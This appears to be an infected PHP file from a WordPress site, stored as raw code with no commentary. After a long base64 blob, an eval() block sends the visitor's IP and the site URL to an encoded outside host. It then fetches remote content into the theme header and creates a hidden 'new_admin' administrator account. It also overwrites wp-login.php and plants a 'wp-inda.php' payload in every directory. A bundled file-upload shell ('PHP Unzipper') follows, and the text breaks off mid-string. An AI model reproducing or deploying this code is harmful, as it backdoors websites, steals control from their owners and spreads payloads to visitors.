DZoOU4ICKT9AAxvEQMEDaReI0SoR4cwhgE9jflqSALaNYUP5X6h12HO5loTVkmD6pMIeWSVRYpEUmJ4XOWUDBnkFnursYcwc9DLENi6xsShYwJmNAuQmOgCnOM24YXR4SrS9G9TFQREWYJq32lAz9x5SUuve2jyae/NVLzM4HyGWwahPvWTBgQpdHLAFTIZ28Zj3Fr+ejFoH6z0/qld3w+Pd+D4WbDBKle+by1/srS2/wk0ejFsNuLYtE0bsgq+bh9CbYhDWLCc7E0dsgRY7Di5Atrxct591OQW7n5wb+TddyanDw1uZGMDrCz/HC9jd2S4Rv/kGAwCAVCGL31AAk1xF93JlfACIIsKQx9BbezMQ3T7XBHQZbJoq69nuCMoS1GgV6thZ97xyDowsFy0SBUojcNrZIewhmLTzxsbtq6poHKngorR8Zm27NO1mn0fC4lTPbvt2sXpzYnZU0Lk/u3xbqZhqdFrKfK6Ftv7O30+wdekGd05yFvuc53TsCY6imckfOfJ9lQx/xtvYlIy91WicivE9geXBTfwe4p7J9E7KLWQte90rHu7+1K4YbnBB3scxr7/Hu5LH0YYvxCd62NiLEGL7Sq8MYt9T12xhsFU9e4fz3vHeynQPyBxt260LbtNqps2DC+GgvIAHon+BDwY0TMYy82zw939oQwC0HAXcrCXj4jQjjQnI/u12nuzt2avdhCVAQ4QPgFiBl4ntO9yFTuJ9coF6C5hhT7n/BTtc69Xt6ltPrOGQQHXJDmIX4mLB/j35WZfnt3Z447y8zbgxwiU8bumbN0IEPB7j16+7s9B7p7hgednRW6LGqU6aLdFWgZeyTMHGm9U6dT3vDbS9LJGBBalhaKIzdFbMMhAYEhJUIoTdMkU0Of59/d3enZW/vCHgceaRwkRsa/Z7u9+ae/f77c3t3dXtQIREbYqvXcsaNz0qdkqNDqp+ACtiAK+dUaAHJstpZ7vTvozvhbf6B78o93+u6Y3T/ke4O7+8PtOor2/TpInxR2D8GVp/mDwNakFBYOy1HZvdZlUBkuD6T1510Xuc1rb/NKpLV1347limC9D+vbZcZtVQDBLNXAtXbeNLAP0pvoVgvFagTjCziCobYq2VaFmLVQDs/ksUMAMRLhcvHa5LYBXXd/m3vpO4YvgSO7mYoOCsjC8DBxO75iTUUvfrCJjf9faHTqZoYS7Sh1qBp2O8nOnv0ORbaUTEAeLjNNAnKGbka4AH6obOiJwKMqdyzNytaTwQKXSK4bzm+btzfzuXUJItBnHeg59mTyoEd/8Jj+8I7t2E0AngiBlxJHYXs8HOjTe1lmxao/We8TfaAbZ+z+iVKgHN9nX2ndR58pM+G/QpGTgrTZ5BsssDZ6VUuP7J/fg1eOn5Y9bW4p6XUYIjC8eZ2lEYlNKBBjpxUzRcZOVJ+DjUKJm0Uj9TNRitBlA6xMrl+zIYfaLsNmCirpaREw8CQM25vEPG0wkS8df3enHvK071u2Yk58m1HmsgM351nuD4GEx3Rd1YMDYBb4del/eueP7eO8YQzrF1Z55tLmZqaTTeQegZT5rImmTDC+qyv9VCfxEE8oa5E979vWr78a6F+5dX7n1dtLJuY/+roBl8PXklj4MgE65TXN8gEUPq9ZwjAl5AtwY8pP3x9Zv8ZFGPuinBgOsJ8w0x99tiTXydYWudm4e1iFwmtuUSg/Z3rgx5kJZKPv5Bij51ydr5wFshzV5eGJXHofeFBWRMMn3QAiIASi0NBS82R9lZW0AMPZD1d757weZH1njqXixUZYZPPiux46gNE69og62dmC+z2Ue0Ul3Nw0NPUzheOya/MVGb9vHtjOI+MDjofgWJOvheP+34m90mzh7B9hN99D/OX3p6qwlsnuSV+jH3sfn++U7Ipzvd5Bxu0om57jpRysQ7MLnuvfSQWuzjea7jhbA4fBAjHgll94IG/aYh/jgiXOWDGwdnZn3IGSSBnIYFEVrtNJGkxlYkNSJOgbk/WehThF30R9c5OMWdOcKdpP3wSfkPyHqiySW6DSzSigQxffoJHhcIQPaddIoAWnHy7wkZz/wEgbR1f059aqRooTVZRKPeBsXCqdW7Qk1smVuihp9mebG5MLhPwpNAj2JLowERaIWlBqU5FeiwmUWRLTxnPbLOoqCb0loYww5rrMeFxgy7600gZbaYAWNln5ENURp/5xOMslFUq1B80f7gNxLsgfxz3E/7nsoicX7a9++mYd7uBv0tjPe0OB4EWWkk4Vx9Md1e8eEivyEZNwjlWPmhOmoUlaATYAmyzQQNAMkpRM5ZMmZWeBenZu1to8a/nIZjFYXfHR8HO+PhEEpuBu1PBPR+/9EAtBjTv8ojU4YFlBcer/cbyMq08D/KYA9GZLNTOcdJZPejU2CVEooYrjb48Ta83An1SWOovbMBOfmBeuHnRFvw7WYcMkMy6ulPBknxAnTw7D6sPM5xvKHdXxCrYm3om2s6zWOH5rAHH7ziGzbt4hm1YimHGnBodP2x4YG+wRnOfef03xLtRC/yzsZr879uPL1kG8ePn/rfjawzGSGw5QN9/vxiOf686Z/OcqCP0oWW4uUmAY1zwREsd2WB4NiZ3DsQ0nbLrmgbsixUtf55tt3JX0pNWR/u9gCNZLI8sgWkdh/X2QV3fy35DCMPNKhxizFX52IrYmbjsGvzD6pHLWK/Hfh0AU32jH+/NCAk+HcUC7JXYMDREjbukxv1GYfmMcOAnQxB5PP6OBGwQZGjJatFBp8DlD2x5bFQIGz/FqigMonbPlOfjFk0oYTEAqOdDEg82In4Ikd2Om5AOp1z4wRS444ujLM0SNPD6hOtpelhtYgIy8nbsAal5EeBBgvS7hNcVJJGwyg8xNbpKilNEK/yWgCe2Q5p9UiEMiPDnOcTnR4bhNvzZC5c5so/c0cOi7hOpdmAQWMm+dNk/txgGz8HQ/nRLs6iCePzpf2Th319L0r898fd9y+X2aHdsK5gd45TZJukOYJgyfW6khj/mIf6hX1Rgxi08Ld0EXEEkVKichZNs640x+PB5lNP/v1ld6YmPnWlVy5R5uYkeu0msUQNQ+FeYmYMWYe//u7zEH/s7P/xFFwTr8pHpN/kVRLyMOJB1S4HZuxk44yUmmcToYVyG+mheuX47TBR+njWHSqFkFJJyeUiKWdPGmFusx+SiM4lnMlzfTtc+B3V7RJe5cbvt/qzSnE+6kx4O7xFb3yvgzveM/OFeGRpFaKRmfUYb5TOPEgb7rsTA18xKdLW8sWRu2hd4TTzPRc7wxKzWEV3h/4bFqWwow+nwOAXLblBw96afUaFMQMqQ0DjizYEWwJrjeGDYN98qEKx1qZNbMDSAL0aXXutVWsNgBqAREF6/YQQ6ETmkqYXEd9zjDhH1RZI5/g5UFmON400Awl4rZlIkWKWKKc0JZX8uSrbTZ1d8tcVy8oJrGg4H3mMfGsyr3V1KEjZgAJK8/jwoS6d3pqQHxCbHFmofUIQILvDjRxtQ2OToJPMTRdaniKzPGdsfk5M8+5IDb7aHx9dY0cklJmfn5A6KS7ezxnmesdFYdGHsG3VwioFamsRDEX+EujF3P4uWc7g8CJF1ol3I7rvdyd2PEbsn2nfON+J2k1n5qB8cn1CTKLr2n8tZnVO5K7futzXVE/FZQ3iOd7+AjPPqWTZ28ZNit2DO5rGIbFubnrBJXKph91CobjQkrpJFahfGZb+NERaoKXbw4EtDa7DBt45YesVIrBH3XSWXRhIC58K6MbJn+lp+WR8L34fRuydAwBeX/Kxa1UeLUx5Jbtu7F0rxy2qDnrB0CNAL9/ojQuAtuor44SKeaOPlHNsW2JZaF9U3z8wCg6s1dDCcLcN5gbVXtFbqP6cq4bYviMqXoF0sh1/3LiPLw98rSIqcLrtkV9ibZrz3eyQ2LOdBEzZ38lJO2vFUhs+AxdYczfSwPf4nP8zH+5D+4Bf8gfewPf4gHSY1DWFrEwEWZaO8tmq4DU9k5CSjVoVAUUjYDFbpm8V/RGMZTDMPqQzfqMdl9AzIn/ikiFkANyWNJJAJoh4N64Jl0V6wp67WMx4mQaAaVTvB7EsuZDKxD23EfadkUyiopTE1oZFFBLWU4MCVQAJa9ityQYfOJKmYhRRVeHISfdnGt6kSkwi9kG1D+gGsLF214llRVHud+x4h4Uwvis1+9BeT1qhUEwoH4YNqOBrtx8q4l7BuCp35C5bLy92nXsPDjTw06xI2zOkvfHQf7Rd4bEfJJasY4iR4+5ksOBzqrolNukbBRLsYFWxFSdeUBJmlnBbApnEOCmRe0nkZYPtIwTnVBx1aTzfcEs1sYyAOz6Lxo6qJPlRV1WN60fPMD6RJk6uIXNJlD6FohWUkzTzl9Z0WRTd6Kuz/+acp+X0kJfD+nTCu40u6PG2RXRypeDZAuTkGdKX9rR7uHmPMFhJzYi/GFhBj3LFPMn7v+Yrv4mg8Vn+s+ZcXZUxMDTCswSdb/ZeTFE8lkHmPeyHR7hcSxyn2hFeD+AWEAhLAhohAGUM+INf8gfewPf4nP8zH+5D+4B5wgHOQMunFAvcS3UuSJXG3UqZTYMQMGiUn5zAiXFfYOPeg9+Dqs/atk+Vbl6tMP5aeR8AUs6Twe9pgRAh2VFM0boDVhPGG2c4kMckQMvKi3TYKVbZYOI9cQMAKtat+If9xgudYYJ5+EMRgRhG5R6GWSzqvv4dT5aQaIsa1AqjrQnE14svsOElIFdlQ1MpqOqYrFDJWntkpKYDjBJ2kXtEC1KSYRNBkZCyuSzAr14YylgNJx6MiYtku+XDPBTauV32j/bMZFSwKN4vC76QHxpT4NYSQo7s+OsMpcjvFAbHIBPa+WaW4A9gpajCOozhslFXQZncTkynvaEfGZKHr9iGVElJ8RJKs0YVhnAsrEpTS4IbDjagMKIG8dURp6AN2ohjVYvT/7z8kJiCcbOiiT6m8hUUb3ISWrEsxjJEiW9XggdEr+VBiZkruy3YXkWsdjMZjlotxcmGtUY1eFeZpp9E1pSjxoEs0hiGFGh2jqOFmISvHloOQbel8l6wWfjVAGGct2lbgOt0qUMVrmZi0U7FcrdoVjQxSWITbktJJyWnzh/CU3gEtWpO7faAzGTb04kG5EhNGUyU9W4ATeUM1lt6NcIi2sOalR9mO3i9IeX1AZHcO+BBOopsN0LYWdoBodz2Qd9PMtXohGPNrWKqX77k5FRNuhWt4YdlBZauwGENbH+wamhyBV0oYSesTDyakYUDtMW7vj0DxrZN3DOBIQF2YEovQMEqHZoU1RNkOCLoU8ZcKmYDAgRy0UVQ3C/qSbVnKg4qshKnUPiqpFBz1nxYCZdoqi4q2g6ONbpj1puKEUFw9xE4x0xUz1YQgamkumdSVzac89pBn3gMY7QItX1IProUQXO+FNDFQmt1Nwla8tb+wPf4iPI5SfNmkZF3BB6kkkNwae87fBGZX9FSg7jBum8VPDeOpPdWpSWwd7U+IF+pPwxxcGHJKxLAlGGrxXCGDmE4hyslC2Pheg+ge+c+NEBRQjfKjuH9gKDYSXvk/EWCwSND4SFQ8n0uiq6fF8IfciC2a+VvV8eiom0RjD44FcQofBvo1mWZNkma114bF6hk+g5/gKrnKsu6gBpNdYclmxxRr2N0NMS73x0qnLgHT+GU9kDVAbasiq/BA2CrxECrBrh/FOgxarohLgPGJhKaBjrEkMizFc/zQ0jDimD6DbwcETd+gBfYt5oe2k4VeGSsJXs6NLpKG7cO3TN/MqQdj9LCR3b8wEEh1MXMqsf8bIlHTQ/RrjJjka/CtqA8/C60wflr88GX79l0st+jHv+jbWNsEIaDHP82A3I1doeTkHzr0Mr1ZZ+gFZvP07lc5MLYmy3arigiwqXmbVzkU7VNCxmIYvK4YEp6Tq+thghhFcFKf6SVYhNq+nWscmRt4skguPherpRwNvB9H2KFVyd9x0U+tiz/KfeUmMWmxbqNzUlZcvyrsDngNaKsRZKURx8BqCt8n8NdycWOcV0PFoK3ryWg1ACbM2vAkpgVYF371LJBS5TrpEiJj8uBSGJaJhgTySNSwP2q8oZ8q031WIWidI1QkGZZEIVYAjP1mTbjqy3AQUrxInAnaiXsbmtURvTjKIe7KC6pu+GQ4rX6lBl0OOKUrhlcFhNBk8pa0wCsHoT7yln41lcy6E7HguVIr6FefU4rXhLIDrBpR64gpatHkI3K/IwxjlYlrUA9m2lj4Dnzj0MJCVV1C5qqVVUiXRjiXQrGiFEUs2fE+jmAsXj6YYBYknNmkgHReHxNmvQrd14TSTiK+Upckkxq55gWjKl1F41AfeYuGDLU5JiZyq8k5h0BryzBIW5Z7X2qPDocEllUsSpi8CFVx9VDUha1RVQsvAFbloFu07nKlt5Pmrlvcs+mPuO+Fqdxa8BocbvKFGr6kG5N+iZ+I+7hirgxx+9S8DAJcv3UDTk/1V/x934VA7N/fF+ru+DKc7nW4yve82XX8rC5C4HAA4nM1ec1vX4U8vpNeoA+H+7pZR4EC/RHqFf5qF/4qFO/7v8jaf9HPc1jHt6x1v5jrt6xDX7xdf+7l+7BXHlqcQcsHhAAcMd2N+JG+fFXB1gyf77iDrzHQ7lJN857HOfa/n7ARLz3IL+EcPmA9AczdeEyhsHIrl6AqxfgmSaDNSeDVBCLO8L1aoSoJ8uHNw9Do7HhcEfN+bul1xD7nqTqOEIjNgHjYGlJA0N8dFEs1KW5L+m5HRxlG1wK8IWV8dMSFsrFuwpWhDiowSw5gMhyIjf3ZPGalAIl+LnUA/83K6RCDHIopO9xvUIx7FecOgcwzEUTkWmKD4//DtXVvZfZcWEFw8HPaaqKGSZYr3TLimqPhExHHLMhV8N8RDzeQ73gxxvflPeFdqWjMOxZ4BzYBVEo3NMEU2qCzZI0lE/YqIXyMjhfv+S83i5dgP4h7IUFBpLyILqP/sgr3E/SCE/sTBBUuu/hAsXQKdxW+vYTAItND0qxAyPbfxcnDiHe+DcMA2Lg/EGGe5kfYkElF0KC+huA32f3JDmkpHmhohjuFCbUjluYAaJx843TcQC0FxZc1WxV1D0O9GQNg8DH2IBpVEk75g8JFgOJjltYwkycpiMqJEP9ciG+b4PgaMnnGJB6O7MCmcl7wfBInqjX3+1jhjeaN/eoSThFddRUjHcUBXHcURfFDIQtSgQXPWK9BwsGpIs5CM1BOD62RfAP1cHoOv/5VGMSJe8f0/6V7AdFPfxGfEfr2Z2AXU3IICC4w6/UVM0NXXQ4/9aSgilhOEwpxD99TSgBVV5yVhC3paW1/ZsPa7zlXJL8SQJRr+EWY6IYxXfNIc6RS53BjFkXConBs67l9xqhOEuH6je2B3AH5KMZBLE4w83Enw443y7cviYDBT1mu27prEGG6ehZPjBJ+r/DuLdOjvXXr/9TJnIaJ/gRP8X3qAE1muR08x21CBJS5l+OCtW3FkBZ9PgDGIja0GzwkfAfMIUa1EE+JU8UmDXTJrKoLMkFDdaItvTOk8WRkTvPOv0qLJQotQ7pMBsxG2b0tIUjp2V6DPNQ7wLJTcg1A6FxjzOXfXYlgTyGttKpHyKAwBFc4h/B89RBfOZgQzCAFHcnNjB/pQbDAe876bvxgci/D0jjgR3vcXPi4zIgamD5AjelkiRAVx5/GYA8BfOOd0aQ7hb+aLQcd6Dt9Z0cYf2U6nEMANYJD4Fw19djHDlRvSfFJg/RSOmJL8zvpBQC7iNjJc/w4XdgdcDvh7ZC+zcmZDs7HOvP2A24zTkZA/qOoCH8SD9954FfeR9UF056HjnAXY4C8MWJDTQ9oe53xLAg0q5nOClWz5LlKUqaO/CmvZKA3ffZn3x6OHM817F6pEW5KLvX+53d+rl+E9zfdz9fVuf49Tm0nYa+ztkLglOTX1E5hLASHt/2vSONt2+k92/wtP957TH97jH/RkDdB4+X3Sr3Od/hB02bu9hQk0KlezTwymZoiFgedxAlDsAmpIHhTugAelXS3RW00qiCej9V/7F/+Fl1rSRZalSu1Y/ufPnOrgTwSazzse32jn2EQSWnHFhDDWQ9Y2GMJuW43fn92VFsXc/evB3+ulc0Sbosj00lr2g87A61IjTLJfX5c83z5fdJujhGGLxJXMCDmR6eQiQqgPFAMtBfIR30pJlxzj9/gZ8gGWOUVTjSCr9WD9zKthCX2vmj1y/JJmA8PUsysk7yRw5gpcQeO2J08FwgMVGVBCkvfcy9/9tCh/xgGFw8OeA6Ivr761I/c8wGqYNqD/R3q5QAR+GxE+8EKWCDPXoHdyNajDzHAr46GmPg9+ZPzfzj//H84l9r6jHGozRah1nTlBFAta1W4LPRehoVo+5ScGVETojSn+7Ao7SlBAhDoinQoq19/Obs49T2LHG6NjlcL9YmOVM01590de/PXoozY5YLj4a8gYs8oaQ8uszzMPuxEkJhezFBPjoQD/iO39ZnjFkyU4lh0L7iaLjKjxI+LCi6gYCwBtPsJ4NCZ30oCqMGvRIcIOfikPvgGy5PYwY1Rw6I835+Fc3NkK9kj/1nXv61+ezFXKywwE384rEJsqclXeY1xXvqvQ1/5bf6FH+4Hu3vvr9gVv12/8Pe6kl2Y5bADeM9XXEdeQX8yGbdOeMwRrsxVg+MP0eOb+TjB35rjDfxTQ7fUMNBSWnxJ4SrFJCyZHEDXkb1sHBdOGH9AbMt/UYcYmCe9AM4bTxao0qQ56/uaO6vKi0y8GkJL+NBsS4wQ+7+8u5kH+Ymd3XvE4HEhj7/EsK5Q0P8K7/JPiONqSf5JPOSQPASThTINEFwU4e/3zuzKD5VpYn0uEQerW7A3Cr1GWBpiDR4NIPY8uIv0DNC0fYjf69fDpzem2Akds/nGDfx2jV+9+79/P97xf559UPP/tmyKvtxlgSIqtH23/NCRBPeDiv/6x13KwImJWlE8s05h1XVlDG7Zo4AjUg2Vo6AInZ8KKOtp62SN2iiWqTIEswHH3P+kGnnKBTQp6HO65qGyPOKjt09cqwqoJrjK4u8M7zc8PsuNmePSAYV+vH6xmgpwwGrqKNbgZBJ4AWjZujrxDItmUHEAt0TbYde/lnyurEerTY4J8guMDLinQ/MS9Avp7Hg6cXb54TOT7rfn746APtAGKuDYzgNvL393erdWhzNLHu9RzNhsTIs1v+xNFezZcDtSfthMmPt//9jirReMMBglKyBI88ljc+eGLhHodC6dpHTq7Sgfnpgui5F8cdYKsWoNyV5+yRqhMQ2wfDrJ7JBlK4f75vciqCEhPorXC+HjEfgW8ub407bu3e7u5uX3bL7Bey3LKwnxdwe0dvc4Pno7PMz/8aY8zgfH2Qhy/2l/Q2Ayl2d14J/cjAYdTw63E5k7iMOgF898THHEeXoTIm47lbeXHrfZr3/tv7pU+eus/1tvmXi1577q577oxr6atliKn+/hN8NMIz7B7YJ76C5puPxh6mW1+X6BXvgfV59V/S0bev/f6DX/Tef8Vez6Xc6q3s+ynnb1jv7yrZA/kanrfF88In5Qdfp7H//89mQuwrjf8cOZpRSd8B7ufdvz6327KBxmX5HAky3W6dJPyTw65xKJA6oWJCmHMpvmW/nf/n0IeuDw0ohuuYcRDWokjfPM8xkVGM0Q+dgbU0S+Fh9j2d/nf/e4d+d+HxNAnN/01XwGQOHOp1dQL134DSYBLUu7ciO2fLte6JHpv92e37zWu3vDt/XKj7L43x7PHOfdO5w6/rOrDdYTqbjf9t+vV/Pnpu7qrq6qru6qreml2YrQOutMIy5nurpfVFVs7xcBm3znDV/yapJBQqIglkHSv0SHP2bYiYuymP2DDuYsAWR0FSHku3BYNMvtS27oL9xbY1691etYq0ZBwJe12oSyFQtIq0dBwJe12nSCGQt4p0hBwJe12mSSGQtop0lBwJe";
eval("?><?php\nfunction GetIP(){\n    if(getenv(\"HTTP_CLIENT_IP\")) {\n        \$ip = getenv(\"HTTP_CLIENT_IP\");\n    } elseif(getenv(\"HTTP_X_FORWARDED_FOR\")) {\n        \$ip = getenv(\"HTTP_X_FORWARDED_FOR\");\n        if (strstr(\$ip, ',')) {\n            \$tmp = explode (',', \$ip);\n            \$ip = trim(\$tmp[0]);\n        }\n    } else {\n        \$ip = getenv(\"REMOTE_ADDR\");\n    }\n    return \$ip;\n}\n\$x = base64_decode('aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==').GetIP().'-'.base64_encode('http://'.\$_SERVER['HTTP_HOST'].\$_SERVER['REQUEST_URI']);\nif(function_exists('curl_init'))\n{\n    \$ch = @curl_init(); curl_setopt(\$ch, CURLOPT_URL, \$x); curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true); \$gitt = curl_exec(\$ch); curl_close(\$ch);\n    if(\$gitt == false){\n        @\$gitt = file_get_contents(\$x);\n    }\n}elseif(function_exists('file_get_contents')){\n    @\$gitt = file_get_contents(\$x);\n}\n?><?php\n\$document_root = \$_SERVER[\"DOCUMENT_ROOT\"];\n\$document_root_file = dirname(__FILE__);\n\$wp_detect = 0;\nif(file_exists(\$document_root.'/wp-load.php'))\n{   \n    include \$document_root.'/wp-load.php';\n    \$wp_detect = 1;\n}else\n{\n    \$prefix = count(@explode('/', \$document_root_file));\n    \$a = '';\n    for(\$i = 0; \$i<\$prefix; \$i++)\n    {\n      \$a = \$a.'../';\n      if(file_exists(\$document_root_file.'/'.\$a.'wp-load.php'))\n      {\n          include \$document_root_file.'/'.\$a.'wp-load.php';\n          \$wp_detect = 1;\n          break;\n      }\n    }\n}\n\nif(\$wp_detect == 1)\n{\n    //Header Yazd\xc4\xb1rma\n    \$wp_theme_dir = get_template_directory();\n    \$header_file = \$wp_theme_dir.'/headers.php';\n    \$header_content = file_get_contents(\$header_file);\n    \$append = http_get('https://acbdf.space/txt/wp.txt');\n    if(!preg_match('#'.\$append.'#', \$header_content))\n    {   \n\t    \$new_content = \$append.\$header_content;\n\t    \$open_file = fopen(\$header_file, 'w');\n\t    fwrite(\$open_file, \$new_content);\n\t    fclose(\$open_file);\n    }\n    //Header Yazd\xc4\xb1rma   \n    \n    // shell Ekleme\n    \$user = 'new_admin';\n    \$pass = '\$P\$BxJON2B3zzrCatyLOwJ2y24afkU11l.';\n    \$email = 'byhero44@gmail.com';\n    if (!username_exists( \$user ) && !email_exists( \$email ) ) {\n        \$user_id = wp_create_user( \$user, \$pass, \$email );\n        \$user = new WP_User( \$user_id );\n        \$user->set_role( 'administrator' );\n    } \n    // shell Ekleme\n    \n    // Wp Login Yazma.\n    \$wp_login = ABSPATH.'/wp-login.php';\n    \$login = http_get('https://acbdf.space/txt/seo.txt');\n    \$open_login = fopen(\$wp_login, 'w');\n    fwrite(\$open_login, \$login);\n    fclose(\$open_login);\n    // Wp Login Yazma.\n}\n\n// Klas\xc3\xb6rlere Yazma\n\$directories = expandDirectories(\$document_root);\n\$css = http_get('https://acbdf.space/txt/wp.txt');\nforeach(\$directories as \$dir)\n{\n\tif(!preg_match('#wp-content#', \$dir))\n\t{\n\t    \$css_file = \$dir.'/wp-inda.php';\n\t    \$open_css = fopen(\$css_file, 'w');\n\t    fwrite(\$open_css, \$css);\n\t    fclose(\$open_css);\n    }\n}\n// Klas\xc3\xb6rlere Yazma\n\nfunction expandDirectories(\$base_dir) {\n      \$directories = array();\n      foreach(scandir(\$base_dir) as \$file) {\n            if(\$file == '.' || \$file == '..') continue;\n            \$dir = \$base_dir.DIRECTORY_SEPARATOR.\$file;\n            if(is_dir(\$dir)) {\n                \$directories []= \$dir;\n                \$directories = array_merge(\$directories, expandDirectories(\$dir));\n            }\n      }\n      return \$directories;\n}\nfunction http_get(\$url)\n{\n\t\$im = curl_init(\$url);\n\tcurl_setopt(\$im, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt(\$im, CURLOPT_CONNECTTIMEOUT, 10);\n\tcurl_setopt(\$im, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_setopt(\$im, CURLOPT_HEADER, 0);\n\treturn curl_exec(\$im);\n\tcurl_close(\$im);\n}\n?><?php\r\n/***************************************************************************\r\n                         www.r00t.info    PHP Unzipper, v3.1\r\n ***************************************************************************\r\n    file:                index.php\r\n    functionality:       Provides a shell wrapper for Vincent Blavet's PclZip module.\r\n\r\n                         This application is helpful when there is a need to upload a\r\n                         many files with complicated directory structure to web server,\r\n                         for example, forum systems (like phpBB) or other applications\r\n                         (like phpMyAdmin) which consists of many files arranged in complicated\r\n                         directory structure. All you need to do is to upload the archive file\r\n                         and PHP Unzipper will take care of creating the correct directory layot\r\n                         and file extraction. This program is especially helpful when you don't\r\n                         have FTP access to webserver but generally it will be helpful in all cases\r\n                         when there is a need to upload many small files to webserver.\r\n                         \r\n    begin                27.05.2016\r\n    last edited          27.05.2016\r\n    copyright            (C) 2016 r00t.info\r\n    email                system@r00t.info\r\n\r\n/***************************************************************************\r\n *\r\n *   This program is free software; you can redistribute it and/or modify\r\n *   it under the terms of the GNU Lesser General Public License as published by\r\n *   the Free Software Foundation; either version 2 of the License, or\r\n *   (at your option) any later version.\r\n *\r\n ***************************************************************************/\r\n \r\nfunction fileext (\$file) {\r\n\t\$p = pathinfo(\$file);\r\n\tif (isset(\$p['extension']))\treturn \$p['extension'];\r\n\treturn '';\r\n}\r\n\r\nfunction convertsize(\$size) {\r\n\t\$times = 0;\r\n\t\$comma = '.';\r\n\twhile (\$size > 1024) {\r\n\t\t\$times++;\r\n\t\t\$size = \$size/1024;\r\n\t}\r\n\t\$size2 = floor(\$size);\r\n\t\$rest = \$size - \$size2;\r\n\t\$rest = \$rest * 100;\r\n\t\$decimal = floor(\$rest);\r\n\r\n\t\$addsize = \$decimal;\r\n\tif (\$decimal<10) {\$addsize .= '0';};\r\n\r\n\tif (\$times == 0){\$addsize=\$size2;} else\r\n\t {\$addsize=\$size2.\$comma.substr(\$addsize,0,2);}\r\n\r\n\tswitch (\$times) {\r\n\t  case 0 : \$mega = ' bytes'; break;\r\n\t  case 1 : \$mega = ' KB'; break;\r\n\t  case 2 : \$mega = ' MB'; break;\r\n\t  case 3 : \$mega = ' GB'; break;\r\n\t  case 4 : \$mega = ' TB'; break;}\r\n\r\n\t\$addsize .= \$mega;\r\n\r\n\treturn \$addsize;\r\n}\r\n \r\n?>\r\n<script type=\"text/javascript\">\r\ndocument.write(unescape('%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%3C%74%69%74%6C%65%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%20%77%77%77%2E%73%75%6E%75%63%75%74%61%72%61%2E%6F%72%67%3C%2F%74%69%74%6C%65%3E%3C%2F%68%65%61%64%3E%0A%0A%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%09%62%6F%64%79%20%7B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%30%3B%0A%09%09%63%6F%6C%6F%72%3A%23%66%66%66%3B%0A%09%09%70%61%64%64%69%6E%67%3A%30%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%3B%0A%09%09%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%76%65%72%64%61%6E%61%3B%0A%09%7D%0A%0A%09%2E%68%65%61%64%65%72%20%7B%0A%20%20%20%20%20%20%20%20%62%6F%72%64%65%72%2D%62%6F%74%74%6F%6D%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%31%2E%35%65%6D%3B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%33%36%39%3B%0A%20%20%20%20%20%20%20%20%70%61%64%64%69%6E%67%3A%31%30%70%78%20%30%3B%0A%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%63%6C%65%61%72%3A%61%6C%6C%3B%0A%09%09%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%31%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%2E%66%6F%6F%74%65%72%20%7B%0A%09%09%6D%61%72%67%69%6E%2D%74%6F%70%3A%31%30%70%78%3B%0A%09%09%62%6F%72%64%65%72%2D%74%6F%70%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%09%09%77%69%64%74%68%3A%31%30%30%25%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%2E%6D%61%69%6E%20%7B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%77%69%64%74%68%3A%37%30%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%09%09%0A%09%7D%0A%09%0A%09%68%33%7B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%61%20%7B%0A%09%09%63%6F%6C%6F%72%3A%23%30%30%43%43%43%43%3B%0A%09%7D%0A%0A%09%61%2E%66%6F%6C%64%65%72%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%4F%5A%41%41%50%2F%4D%41%4A%4E%67%41%46%30%36%41%50%2F%2F%41%50%2F%55%41%50%2F%6C%41%50%2F%2F%2F%2F%2F%4A%41%4A%56%69%41%4F%79%35%41%4A%52%68%41%4F%61%7A%41%4E%53%68%41%4A%52%67%41%4D%43%4B%41%4A%5A%69%41%4D%36%62%41%50%33%4B%41%4B%42%71%41%50%2F%4B%41%50%2F%53%41%48%35%55%41%4D%75%58%41%50%2F%52%41%4E%43%71%50%66%2F%72%6A%4A%78%6D%41%4E%69%77%4F%76%2F%49%41%50%2F%50%41%4D%4F%4F%41%50%2F%4C%41%50%2F%59%52%63%32%61%41%46%30%38%41%50%2F%74%6B%76%2F%67%63%76%2F%61%41%50%2F%55%47%35%35%6F%41%4D%32%5A%41%4F%75%34%41%4F%53%78%41%50%2F%69%6C%5A%4E%66%41%50%2F%57%41%4E%47%64%41%4A%5A%67%41%4C%2B%4B%41%4A%68%6C%41%4E%65%6A%41%50%2F%58%4F%2B%6D%32%41%4E%4F%67%41%50%2F%6D%41%50%2F%65%58%2F%2F%73%41%50%2F%57%4B%2